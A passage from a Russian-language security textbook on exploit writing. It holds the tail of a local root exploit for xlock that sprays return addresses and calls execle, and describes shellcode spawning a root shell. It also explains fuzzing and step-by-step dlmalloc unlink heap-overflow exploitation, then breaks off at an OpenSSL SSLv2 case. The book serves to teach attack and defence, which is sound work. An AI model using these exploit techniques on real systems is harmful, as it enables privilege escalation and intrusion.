книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

52if (argc != 3)

53{

54printf(" Usage: %s <full path> <name>\n", argv[0]);

55printf("\n Example: %s /usr/X11R6/bin/xlock xlock\n\n", argv[0]);

56return 1;

57}

58

59 ret = 0xbffffffa – strlen(shellcode) – strlen(argv[1]);

60

61 ap = (int *)( buffer + ALIGN + strlen(buffer) );

62

63for (i = 0; i < sizeof(buffer); i += 4)

64*ap++ = ret;

65

66 execle(argv[1], argv[2], NULL, env);

Shell-код находится в строках 30–36. Он выполняется после злонамеренного переполнения буфера и запускает для атакующего оболочку с привилегиями root. Для этого сначала системный вызов setresuid устанавливает привилегии, а затем execve запускает /bin/sh.

Вывод

Уязвимости часто можно найти в библиотеках, используемых сразу во многих приложениях. Если удастся найти такую ошибку, то вы сразу получаете в свое распоряжение массу возможных вариантов действий; если в конкретной системе не окажется одного приложения, что ж – можно атаковать другое. С течением времени такие уязвимости будут обнаруживать и эксплуатировать все чаще. В нашем случае ошибка в библиотеке скомпрометировала несколько привилегированных приложений во многих дистрибутивах Linux. Ошибка в библиотеке OpenSSL поставила под угрозу ряд использующих ее приложений, в том числе Apache и stunnel.

Поиск переполнений стека в программах с недоступными исходными текстами

Поиск любого вида уязвимостей, пригодных для написания эксплойта, в программах с недоступными исходными текстами сродни черной магии. По сравнению с другими областями информационной безопасности эта тема очень плохо документирована. Здесь применяется целый набор разнообразных приемов. К числу полезных инструментов относятся дизассемблеры, отладчики, трассировщики (tracer) и генераторы случайных данных (fuzzer). При этом дизассемблеры и отладчики намного полезнее трассировщиков и генераторов данных. Дизассемблер восстанавливает исходный ассемблерный код, а отладчик позволяет интерактивно проходить программу по шагам, а также просматривать и изменять память и выполнять другие функции. Самым лучшим дизассемблером является IDA. Недавно в него были добавлены некоторые возможности отладчиков, хотя SoftICE (только для Win32) и gdb в этом качестве гораздо мощнее. Трассировщик – это не более чем автоматизированный отладчик, позволяющий исполнять приложение в пошаговом режиме с минимальным участием пользователя. Генератор случайных данных – это часто применяемый, но довольно слабый способ тестирования сродни низкокачественному методу грубой силы.

Генераторы случайных данных – это попытка применить автомати зированный подход к поиску новых ошибок в программном обеспе чении. Они посылают на вход приложения неожиданные данные. На пример, такой генератор может 500 000 раз попытаться соединиться с FTP сервером, используя имена и пароли случайной длины – как короткие, так и аномально длинные. Потенциально генератор может пробовать неограниченное число комбинаций, пока сервер не вер нет аномальный ответ. Одновременно можно наблюдать за работой FTP сервера с помощью трассировщика, оценивая, как он обраба тывал различные входные данные. Такой подход на практике работа ет только для приложений, за которыми никто не следит.

Генераторы случайных данных могут делать и больше, чем простая отправка 8000 букв «A» на вход процедуры аутентификации, но, к со жалению, ненамного. Они идеальны для быстрой проверки на нали чие типичных, легко обнаруживаемых ошибок (только сначала нужно написать для исследуемого приложения достаточно полный генера тор), но не более того. Самым многообещающим из разрабатывае мых общедоступных генераторов случайных данных является SPIKE.

Эксплойты для затирания кучи

Куча – это область, из которой приложение выделяет память динамически, во время выполнения (рис. 11.5). Часто переполняются буферы, память для которых выделена из кучи, и эксплойты для таких ошибок пишутся иначе, чем для переполнений буфера в стеке. Начиная с 2000 года переполнение буфера в куче стало одним из самых перспективных «месторождений» ошибок. В отличие от переполнения стека, такие ошибки плохо воспроизводимы, и для их эксплуатации применяются различные приемы. В этом разделе мы посмотрим, как приложение может испортить память в куче, как можно написать эксплойт для таких ошибок и как избежать их.

Приложение выделяет память из кучи по мере необходимости. Для этого применяется функция malloc(). Ей передается число требуемых байтов, а возвращает она указатель на выделенную область памяти. Порядок обращения к malloc() показан ниже:

#include <stdio.h>

Рис. 11.5. Схема организации памяти

int main(void)

{

char *buffer;

buffer = malloc(1024);

}

Здесь приложение запрашивает из кучи 1024 байта, и malloc() возвращает указатель на выделенную область памяти. Алгоритм управления кучей в разных операционных системах различен. Например, в Linux применяется реализация, придуманная Дугом Леа (Doug Lea Malloc), а в Solaris – реализация, заимствованная из System V. Именно в алгоритме динамического распределения и освобождения памяти и кроется причина большинства уязвимостей. Мы рассмотрим наиболее часто атакуемые реализации malloc() Äóãà Ëåà è System V AT&T.

Реализация Дуга Леа

Алгоритм «Doug Lea Malloc» (dlmalloc) используется практически во всех системах Linux. Его реализация позволяет без труда написать эксплойт, если обнаружена ошибка затирания кучи. Вся куча в этом алгоритме организована в виде набора блоков (chunk). Блок содержит информацию, позволяющую dlmalloc эффективно выделять и освобождать память. На рис. 11.6 показано, как выглядит куча с точки зрения dlmalloc.

Рис. 11.6. Блок кучи с точки зрения dlmalloc.

Рис. 11.8. Расположение блоков в памяти

#define FD *(next->fd + 12) #define BK *(next->fd + 8) #define P (next)

#define unlink(P, BK, FD)

{

BK = P->bk; \

FD = P->fd; \

FD->bk = BK; \

BK->fd = FD; \

}

Поскольку мы управляем значениями указателей bk и fd, то при освобождении блока сможем заставить программу выполнить нужные нам манипуляции. Для написания эксплойта необходимо подготовить блок специальным образом. Требуется, чтобы в поле size младший бит был равен 0 (признак PREV_INUSE отключен), а значения prev_size è size были настолько малы, чтобы при добавлении к указателю не вызвать ошибку нарушения защиты памяти. Вычисляя значения fd и bk, не забудьте вычесть 12 из адреса, содержимое которого собираетесь переписать (взгляните на определение FD). На рис. 11.9 показано, как должен выглядеть сконструированный блок.

Рис. 11.9. Специально сконструированный блок

стоположения адреса возврата – 12». Если по этому адресу разместить shellкод, то по «адресу возврата» должна находиться команда перехода, которая обойдет бессмысленную команду, расположенную по «адресу возврата + 8». Обычно употребляется команда jmp 10 и заполнение пустыми командами nop. После того как произойдет переполнение в сконструированном нами блоке, память будет выглядеть так, как показано на рис. 11.10.

Рис. 11.10. После переполнения

После второго обращения к функции free() к программе из примера 11.4, затертый блок исключается из списка и происходит разыменование указателя. Если по адресу, хранящемуся в указателе bk, размещен shell-код, то он будет выполнен.

Пример: уязвимость, связанная с переполнением буфера из за неправильно сформированного клиентского ключа в OpenSSL SSLv2, CAN 2002 0656

В библиотеке OpenSSL версии 2 имеется ошибка, связанная с процедурой обмена ключами. Она затрагивает множество машин по всему миру, поэтому ее анализ и написание соответствующего эксплойта имеют высокий приори-